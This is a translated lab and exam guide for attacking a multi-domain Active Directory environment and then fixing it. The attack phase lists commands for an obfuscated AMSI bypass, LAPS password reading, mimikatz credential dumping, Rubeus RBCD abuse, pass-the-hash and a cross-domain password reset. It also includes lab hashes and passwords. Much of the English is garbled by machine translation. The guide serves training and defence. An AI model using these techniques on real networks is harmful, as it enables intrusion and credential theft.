GCBTech Active Directory — Improved and Explained Guide
CRTM-Exam-Report.htmlwhich is not modified): maintains all commands and evidences, and adds why it works every step (blue boxes "what's going on" and gray notes) and full defence phase: problem → how to remedy it (GUI and PowerShell) → how to verify it → extra hardening. For the theoretical background (Kerberos, LAPS, RBCD, ACLs... from scratch), opens CRTM-Conceptos-Explicados.html.Environment — Laboratory Machines
examuser — normal user, without privileges, session at GCBTECH-EXAM.TECHADMIN and the team account GCBTECH-ADMIN$.administrator → examuser is made local GCBTECH-EXAM.sqladmin (domain user, admin at GCBTECH-SQL).TECHADMIN@gcbtech He's got some. GenericAll on fileserveradmin@gcbinfra (D3 fixes it).fileserveradmin, which is also admin at GCBTECH-DC → Domain Controller control.gcbinfra\Administrator in clear text → GCBINFRA-DC compromised → creds.txt.examuser in GCBTECH-EXAM without any special privilege. First rule of the attacker: before attacking, map.Active Directory is a relationship database: who is in which group, who can read what, who manages which team. BloodHound collects those relationships (with SharpHound, doing LDAP queries to Domain Controller) and draws them as a graph to answer a single question: What is the shortest way from MY user to Domain Admin?
It doesn't explode anything on its own — it just tells you which door to try. In this lab the door is: examuser you can read GCBTECH-ADMIN's LAPS password.
SharpHound.ps1 to target and execute it to collect all AD data:. .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod all
. .\script.ps1) it's called dot-sourcing: load the script functions in your current session to be able to call them. Without the point, the script runs in its own domain and Invoke-BloodHound It wouldn't be available. CollectionMethod all collect all: users, groups, active sessions, ACLs (permissions), trusts between domains, etc.20221216073227_BloodHound.zip — bring it to your Windows machine and press it into the BloodHound GUI (draw the zip or Upload button). Then run the predefined query "Shortest Path to Domain Admin" or look at the nodes with access from examuser.examuser He's got some. ReadLAPSPassword on GCBTECH-ADMINThat's the initial climbing vector.examuser towards GCBTECH-ADMIN tagged as LAPS read. In the graph this means: a privileged user can read the password of the local administrator of that team. The entire test starts here.Optional visual evidence · 3 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.



ms-mcs-AdmPwd GCBTECH-ADMIN. PowerView is used to read it and PsExec to enter as local Administrator.LAPS (Local Administrator Password Solution) exists to solve a classic problem: all machines with the Same. Local Administrator password. LAPS generates a password unique and rotated by equipment and save it in an attribute of the object equipment in AD (ms-mcs-admpwdprotected so that only those who have explicit permission can read it.
Lab vulnerability: a examuser (or a group to which it belongs, e.g. JumpMachines) granted this reading permission. Result: a normal user reads in clear text the password of the local GCBTECH-ADMIN admin, without exploiting any bugs.
PowerView is the "swiss army" of AD in PowerShell: makes LDAP queries (reading objects and attributes) and abusing permissions. PsExec (here's the Impacket version, psexec.py) executes remote commands copying a binary to the resource ADMIN$ and creating a service → returns you shell like SYSTEM.
AmsiInitFailed:S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ([TYpE]( "{1}{0}"-F'F','rE' ) ) ;
( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(
("{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') )
)."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),
( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
amsiInitFailed = true in .NET: from there, in that processAMSI's analysis "falls" and lets the scripts pass. It only lasts as long as the PowerShell process lives.ms-mcs-admpwd:. .\PowerView.ps1 Get-DomainComputer -Identity gcbtech-admin | select samaccountname,ms-mcs-admpwd
Get-DomainComputer ask the DC by LDAP "send the object of the gcbtech-admin" team and display two attributes: its name SAM and ms-mcs-admpwd, containing the local Administrator's password in clear textIf the field leaves empty, it is that you do not have the permission (the DC conceals the value to whom you cannot read it). That's why examuser "wine" here: they let him read it..\PsExec.exe gcbtech-admin/Administrator:'2k0awHE+(2i9xL'@172.16.11.3
DOMINIO/USUARIO:CONTRASEÑA@IP It's Impacket's. Administrator It's an account. Local (no domain), the "domain" is the name of the team itself (gcbtech-admin). PsExec authenticated by SMB, copy an executable to \\ADMIN$, registers it as Windows service and gives you a shell as SYSTEM in GCBTECH-ADMIN.Optional visual evidence · 4 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.




Idea 1 — teams are also "users." Each domain machine has an AD account that ends in $ (e.g. GCBTECH-ADMIN$), with its own password (red every ~30 days) and its hash NTLM. If you steal that hash, "you're the team" in the eyes of Kerberos.
Idea 2 — the delegation. Kerberos allows a service to operate in the name of a user ("acts as if it were him, to serve him better"). In the variant RBCD, it's the (server) the one who decides who can supplant: the attribute msDS-AllowedToActOnBehalfOfOtherIdentity GCBTECH-EXAM contains the SID of GCBTECH-ADMIN$ — that is, "approved that GCBTECH-ADMIN$ use foreign tickets against me."
The attack: as we are Administrator in GCBTECH-ADMIN, mimikatz gives us the account hash GCBTECH-ADMIN$With that hash, Rubeus legitimately asks the DC tickets "on behalf of administrator"for the GCBTECH-EXAM CIFS Service (S4U Protocols: S4U2Self + S4U2Proxy). The DC emits them because the configuration allows it. No one breaks anything: a configuration is abused.
▼ The complete analogy (hotel, buttons and keys) is in the concept guide, section 13.
Get-DomainComputer *exam* $RawBytes = Get-DomainComputer GCBTECH-EXAM -Properties 'msds-allowedtoactonbehalfofotheridentity' | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity (New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes,0).DiscretionaryAcl
S-1-5-21-1265556501-975517518-3548124796-1105 → corresponds GCBTECH-ADMIN$.Set-MpPreference -DisableRealTimeMonitoring $true # Desde GCBTECH-EXAM, copiar herramientas a GCBTECH-ADMIN vía PSSession: $sess = New-PSSession -ComputerName gcbtech-admin Copy-Item -Path .\mimikatz.exe -Destination C:\Users\Public -ToSession $sess Copy-Item -Path .\Rubeus.exe -Destination C:\Users\Public -ToSession $sess
New-PSSession open a WinRM channel (PowerShell Remoting, port 5985) with the remote machine using your current local admin credentials; Copy-Item -ToSession copy files through that channel. Defend yourself so that it does not erase mimikatz/Rubeus when landing (in the test it is necessary; in real life, another story). C:\Users\Public escribable by any — classic folder for binary "parking".Enter-PSSession $sess cd C:\Users\Public .\mimikatz.exe "sekurlsa::logonpasswords" "exit"
sekurlsa::logonpasswords read that memory and flip everything. As a local admin you can play LSASS → here appear: the hash of the team account GCBTECH-ADMIN$ (the machine always has its own in memory) and hash of TECHADMINI had an open session on that machine..\Rubeus.exe s4u /user:gcbtech-admin$ /impersonateuser:administrator /msdsspn:"cifs/gcbtech-exam" /rc4:6c6d86cefa656f7d5303496322da07b5 /ptt
/user:gcbtech-admin$ = authenticate as the team account; /rc4:hash = using your NTLM hash as if it were the password (RC4 = NTLM in Kerberos); /impersonateuser:administrator = "I want tickets on behalf of administrator" (S4U2Self); /msdsspn:"cifs/gcbtech-exam" = for the EXAM file/SMB service (S4U2Proxy - DC allows it because the RBCD authorizes it); /ptt = pass the ticketInject the result into your session to use it already. The administrator's password was never known.ls \\gcbtech-exam\c$
c$ It's a administrative remedy (share occulto): only administrators see it. If your new CIFS ticket was not valid, you would receive "Access denied". See list = the DC accepted the suplantation.Copy-Item -Path .\psexec-int.exe -Destination C:\Users\Public -ToSession $sess Enter-PSSession $sess .\psexec-int.exe \\gcbtech-exam net localgroup administrators /add examuser -accepteula
ADMIN$ and the EXAM Service Control Manager, and execute the command as SYSTEM. The command itself is that of all life to put a user in the group administrators local. -accepteula accept the license automatically. Note: if PsExec complains of permissions, Rubeus admits /altservice:host,rpcss to derive from the same ticket the extra SPNs that PsExec uses.examuser He is already a local administrator of GCBTECH-EXAM. Log in and re-enter RDP for the new group to apply (the session tokens are calculated when you sign in).Optional visual evidence · 11 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.











We repeat the previous step trick, but in the other direction: now examuser is already local admin of GCBTECH-EXAM → mimikatz can read EXAM LSASS. Here are the credentials sqladmin, a domain user that is admin on the SQL server (he had logged in to EXAM, that's why they're in memory).
The operating problem: GCBTECH-SQL has disabled WinRM (you can't open PSSession directly).The solution: Invoke-SMBexec execute commands via SMB authenticating only with the hash NTLM (pass-the-hash) — you don't need the password clear to order the machine to enable its own WinRM. Then you're in normal.
.\mimikatz.exe "sekurlsa::logonpasswords" "exit"
sekurlsa::logonpasswords extracts everything that LSASS has from each session started on that machine. sqladmin with your password clear and your hash NTLM.. .\Invoke-SMBexec.ps1 # Confirmar que la ejecución funciona: Invoke-SMBexec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command whoami # Habilitar PS Remoting: Invoke-SMBexec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command "powershell enable-psremoting"
whoami is a "ping" to confirm that sqladmin executes commands in SQL; the second opens the WinRM service (creates the HTTP listener in 5985 and the firewall rules).$passwd = ConvertTo-SecureString "P@ssforDBServer1" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("gcbtech\sqladmin", $passwd)
Enter-PSSession -ComputerName gcbtech-sql -Credential $creds
PSCredential (SecureString + user). Enter-PSSession connects to WinRM and leaves you inside. machine: everything you write runs on GCBTECH-SQL as sqladmin.172.16.11.4.Optional visual evidence · 6 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.






One. trust (trust) between domains is an agreement of "my territory accepts identities of yours". bidirectionalThis is not exploited or broken: simply used. Gcbtech.local users may appear on gcbinfra.local object permissions — and vice versa.
Here's the big lab bug. Someone conceded. TECHADMIN (a user of the another. domain) GenericAll on account FILESERVERADMIN As we already stole TECHADMIN's hash, that permission belongs to us.
. .\PowerView.ps1 Get-NetDomainTrust
gcbtech.local and gcbinfra.local.Get-DomainComputer -Domain gcbinfra.local | select cn
-Domain makes the LDAP consultation direct to the DC of the other domain — trust lets you ask (and read what is public). So you discover the objectives on the other side.GCBINFRA-DC and GCBINFRA-FILE.Find-InterestingDomainAcl -Domain gcbinfra.local . .\SharpHound.ps1 Invoke-BloodHound -Domain gcbinfra.local
Find-InterestingDomainAcl filter ACLs "jugosas": GenericAll, GenericWrite, WriteDacl, WriteOwner, ForceChangePassword... on sensitive objects. SharpHound with -Domain He does the same but for BloodHound's graph.TECHADMIN@GCBTECH.LOCAL He's got some. GenericAll on FILESERVERADMIN@GCBINFRA.LOCALAnd BloodHound shows that FILESERVERADMIN is administrator in GCBTECH-DC.Optional visual evidence · 7 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.







GenericAll = total control over an AD object: you can change it, erase it, and most practical for an attacker: change your password without knowing the current (the "passwordset" permission is included).
But the permission is from TECHADMIN, not from examuser. Solution? We have your hash NTLM: pass-the-hash with mimikatz opens a new PowerShell running as techadmin — as if you had stolen your session. From there you run the cross-domain reset and, with the new fileerveradmin password (admin in DC), you enter the GCBTECH-DC.
.\mimikatz.exe "sekurlsa::pth /domain:gcbtech.local /user:techadmin /ntlm:85fea8c3730ce6ccce8c52c58854ed8e /run:powershell" "exit"
sekurlsa::pth Inject the hash NTLM into a new process: that PowerShell opens with the techadmin identity and can be authenticated in network with it — without ever clear password. Everything you run in that window, you run it as techadmin.. .\PowerView.ps1 $pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity fileserveradmin -Domain gcbinfra.local -AccountPassword $pass
Set-DomainUserPassword does a password attribute writing LDAP operation. The DC accepts it without asking for the old password because the caller has reset rights (GenericAll). -Domain points the operation to the other domain through trust.$passwd = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("gcbinfra\fileserveradmin", $passwd)
Enter-PSSession -ComputerName gcbtech-dc.gcbtech.local -Credential $creds
Optional visual evidence · 5 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.





PowerShell (PSReadLine module) saves every command you write on console in ConsoleHost_history.txt so that you can recover them with the ↑ arrow. It is a comfort function with a brutal side effect: if an administrator typed a password within a command (e.g. when creating credentials), it became clear in that file..
As fileserveradmin is also administered in GCBINFRA-FILE, we went in there and read YOUR history. Inside was the password gcbinfra\Administrator. With it, the DC of the second domain falls without resistance.
. .\Find-PSRemotingLocalAdminAccess.ps1 Find-PSRemotingLocalAdminAccess Enter-PSSession gcbinfra-file.gcbinfra.local
Find-PSRemotingLocalAdminAccess sweep the domain equipment and tell you which your current user is local admin and they have WinRM active. It saves you to test machine by machine. GCBINFRA-FILE appears on the list → direct connection.type C:\Users\fileserveradmin\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt
gcbinfra\Administrator with the password visible.$passwd = ConvertTo-SecureString "!!InfraTechAdministratorLocal11" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("gcbinfra\Administrator", $passwd)
$infradc = New-PSSession -ComputerName gcbinfra-dc.gcbinfra.local -Credential $creds
# Copiar el archivo de creds de vuelta a GCBTECH-EXAM:
Copy-Item -Path C:\Users\Administrator\Desktop\creds.txt -Destination C:\Users\examuser\Desktop\ -FromSession $infradc
Copy-Item -FromSession It's the reverse of -ToSession: Bring a file From the remote machine to yours by the WinRM channel. creds.txt is the ultimate goal of the test: contains the passwords that will be used in the defense phase (including that of the gcbtech\administrator: !!TechAdministratorLocal11And techadmin's. T0Access0therForest).Optional visual evidence · 8 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.








ms-Mcs-AdmPwd, examuser can no longer steal the password from the local admin.172.16.11.2) as gcbtech\administrator (counter) !!TechAdministratorLocal11If RDP is off, act first:Enter-PSSession gcbtech-dc # Abrir el RDP en el firewall: netsh advfirewall firewall set rule group="remote desktop" new enable=Yes # Si sigue sin conectar, habilitar también el servicio RDP: Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
fDenyTSConnections=0 Turn it on). Sometimes only one is off; that's why both of them are checked.# Alternativa PowerShell (PowerView, desde el DC):
. .\PowerView.ps1
Remove-DomainObjectAcl -TargetIdentity 'OU=JumpMachines,DC=gcbtech,DC=local' -PrincipalIdentity examuser -Rights ReadLAPSPassword
# Sacar a examuser del grupo (en el DC):
Remove-ADGroupMember -Identity JumpMachines -Members examuser -Confirm:$false
# Forzar rotación LAPS de GCBTECH-ADMIN (LAPS clásico): marcar la contraseña como expirada…
Set-ADComputer gcbtech-admin -Replace @{'ms-mcs-admpwdexpirationtime'='0'}
# …y en la propia máquina forzar la directiva para que genere la nueva:
gpupdate /force
ms-mcs-admpwdexpirationtime = 0 the mark as expired and the LAPS client generates a new one in the following directive cycle (or when running gpupdate on the machine). With Windows LAPS (the new one), the equivalent is Set-LapsADPasswordExpiration -Identity gcbtech-admin.# Como examuser (¡importante probar como el usuario de bajo privilegio!): . .\PowerView.ps1 Get-DomainComputer gcbtech-admin | select samaccountname,ms-mcs-admpwd # ms-mcs-admpwd debe salir vacío → ya no puede leerla
• Migrate Windows LAPS (integrated in Windows 11/Server 2022+, supports encryption and password history).
• Monitoring attribute readings: any reading from an unexpected account should generate alert (SIEM).
Optional visual evidence · 9 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.









msDS-AllowedToActOnBehalfOfOtherIdentity GCBTECH-EXAM authorized the account GCBTECH-ADMIN$ to supplant any user before that server → who controlled that computer account (us, after stealing your hash with mimikatz) got tickets like administrator. (b) TECHADMIN had GenericWrite on the object GCBTECH-EXAM → permission to modify that attribute (and any other) and self-concede the RBCD.Set-ADComputer -Identity gcbtech-exam -PrincipalsAllowedToDelegateToAccount $null
-PrincipalsAllowedToDelegateToAccount is the "friendly" parameter of the cmdlet for the RBCD attribute: assign it $null leave the list of authorized accounts empty. No one can use S4U against GCBTECH-EXAM anymore.GCBTECH-ADMIN$ and the TECHADMIN They're still in the power of the attacker.# Rotar la contraseña de la cuenta de equipo (correr EN GCBTECH-ADMIN como admin):
Reset-ComputerMachinePassword -Server gcbtech-dc.gcbtech.local
# Cambiar la contraseña de techadmin (correr en el DC):
Set-ADAccountPassword -Identity techadmin -Reset -NewPassword (ConvertTo-SecureString 'Nu3v4!Cl4v3-Fu3rt3' -AsPlainText -Force)
Reset-ComputerMachinePassword running in the machine: generates a new random and registers it on both sides at once. The old hash remains unfeasible. This step was not in the original guide and without it the arrangement is incomplete.. .\PowerView.ps1
Get-DomainComputer gcbtech-exam
# msds-allowedtoactonbehalfofotheridentity debe estar vacío,
# y en la pestaña Seguridad del objeto no debe aparecer techadmin
• Periodically auditing who has GenericWrite/GenericAll on equipment (BloodHound also serves the human rights defender).
• Do not give GenericWrite about equipment to user accounts; if an app needs it, document it and isolate it.
Optional visual evidence · 3 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.



gcbinfra\administrator, IP 172.16.12.2): ADUC → View → Advanced features → Users → double click files → tab Security Select techadmin → Quitar → Accept.Enter-PSSession -ComputerName gcbtech-dc.gcbtech.local net localgroup administrators /del gcbinfra\fileserveradmin
administrators that handles net localgroup is the built-in domain group. Anyway: the command does the job. A file infrastructure admin has nothing to do by being admin of a DC.# En GCBINFRA-DC — nueva contraseña fuerte para fileserveradmin:
Set-ADAccountPassword -Identity fileserveradmin -Reset -NewPassword (ConvertTo-SecureString 'Nu3v4!FileServer-2024' -AsPlainText -Force)
# Y para el Administrator del dominio (la suya salió en el historial):
Set-ADAccountPassword -Identity Administrator -Reset -NewPassword (ConvertTo-SecureString 'Nu3v4!Infra-Admin-2024' -AsPlainText -Force)
Password123! and anyone who reads the record knows the Administrator's. Remediation = close the door and change the lock.Enter-PSSession gcbinfra-file.gcbinfra.local cd C:\Users\fileserveradmin\AppData\Roaming\Microsoft\Windows\Powershell rm .\PSReadLine\ConsoleHost_history.txt
# El reset de contraseña como techadmin ya debe fallar:
Set-DomainUserPassword -Identity fileserveradmin -Domain gcbinfra.local -AccountPassword $pass
# → "Access denied" / "Insufficient privileges"
# Y el historial ya no existe:
type C:\Users\fileserveradmin\...\ConsoleHost_history.txt # → no encuentra el archivo
• Meter administration accounts in the group Protected Users (no delegation, no NTLM, null cache).
• Educate/force not to write command-on-line passwords; optionally deploy a profile by GPO
Set-PSReadLineOption -HistorySaveStyle SaveNothing on sensitive servers.Optional visual evidence · 8 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.








Get-Process in GCBTECH-SQL.demo.pssc:New-PSSessionConfigurationFile -Path demo.pssc
.pssc is a text file (with PowerShell's hashtable syntax, all commented) that describes the endpoint: who enters, what sees, with which identity runs. This command generates the list template to edit (it opens with the notepad or notepad). notepad demo.pssc).demo.pssc - change these fields:Author = 'sqladmin'
SessionType = 'RestrictedRemoteServer'
RoleDefinitions = @{ 'gcbtech\sqladmin' = @{ VisibleCmdlets = 'Get-Process' } }
demo.pssc a GCBTECH-SQL and register the endpoint JEA. Restart WinRM via SMBexec so that the config is loaded:# Copiar demo.pssc (aquí vía HTTP con un servidor de archivos; vale cualquier método):
iwr http://172.16.100.1/demo.pssc -OutFile C:\Users\Public\demo.pssc
# En la PSSession de GCBTECH-SQL — registrar el endpoint:
Register-PSSessionConfiguration -Name process -Path 'C:\Users\Public\demo.pssc'
# Desde GCBTECH-EXAM vía SMBexec — reiniciar WinRM (así lo hace la guía):
. .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command 'Restart-service WINRM'
Invoke-SMBExec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command 'powershell disable-psremoting'
Invoke-SMBExec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command 'powershell enable-psremoting'
Register-PSSessionConfiguration creates the endpoint called process from the .pssc (this already reboots the WinRM service itself—the disable/enable cycle of the original guide is a reinforcement; if after Register the session behaves strangely, that cycle fixes it). Conceptual detail: the JEA endpoint remains "on the side" of the normal endpoint (Microsoft.PowerShell)—does not replace it.Enter-PSSession gcbtech-sql -ConfigurationName process Get-Process # ✓ funciona y lista procesos Get-Service # ✗ error: no está en la lista blanca Get-Command # muestra solo lo permitido (la "carta del menú")
-ConfigurationName process (if not specified, you enter the normal endpoint and not the JEA). Get-Command teaches you the "carta": only the allowed cmdlets exist for that session. Trying anything else returns "unrecognized" error.Optional visual evidence · 9 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.









net localgroup administrators He has only what he needs in every machine again.net localgroup administrators /del examuser
Enter-PSSession gcbtech-admin net localgroup administrators /del examuser net localgroup administrators /del techadmin
net localgroup administrators who's before he clears.Enter-PSSession gcbinfra-file.gcbinfra.local net localgroup administrators /del gcbinfra\fileserveradmin
# Quitar a sqladmin del grupo admin de GCBTECH-SQL:
net localgroup administrators /del sqladmin
# Desactivar RDP (en cada máquina donde lo abriste en D1–D3):
netsh advfirewall firewall set rule group="remote desktop" new enable=No
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 1
Optional visual evidence · 7 captures
The commands and the explanation are above. These captures are preserved as backup when you need to check a visual state; they do not replace a textual output.







C:\Users\Public, Defender off at GCBTECH-ADMIN and forged Kerberos tickets that do not expire until after a few hours. Without this task, the remedy is leaked.# Administrator local de GCBTECH-ADMIN → rotado por LAPS en D1
# GCBTECH-ADMIN$ (cuenta de equipo) → Reset-ComputerMachinePassword en D2
# TECHADMIN → Set-ADAccountPassword en D2
# sqladmin → ¡falta! (en el DC):
Set-ADAccountPassword -Identity sqladmin -Reset -NewPassword (ConvertTo-SecureString 'Nu3v4!Sql-2024' -AsPlainText -Force)
# fileserveradmin → restaurada en D3
# gcbinfra\Administrator → restaurada en D3
# En GCBTECH-ADMIN:
Set-MpPreference -DisableRealTimeMonitoring $false
# En GCBTECH-ADMIN y GCBTECH-SQL (C:\Users\Public):
del C:\Users\Public\mimikatz.exe, C:\Users\Public\Rubeus.exe, C:\Users\Public\psexec-int.exe
# Como examuser, recolectar de nuevo:
Invoke-BloodHound -CollectionMethod all
# En BloodHound GUI: examinar la ruta de examuser hacia Domain Admin.
# Debe estar ROTA (sin aristas LAPS / RBCD / GenericAll transitables).
• Activate the LDAP audit/reading of sensitive attributes and turn it to a SIEM.
• Document the management model in tiers (Tier 0 = DCs, Tier 1 = servers, Tier 2 = stations) — this test is a perfect demonstration of what happens when layers are mixed (fileserveradmin, file management, being DC admin).
•
klist purge in the sessions you used to clean the tickets injected by Rubeus from your own sessions.








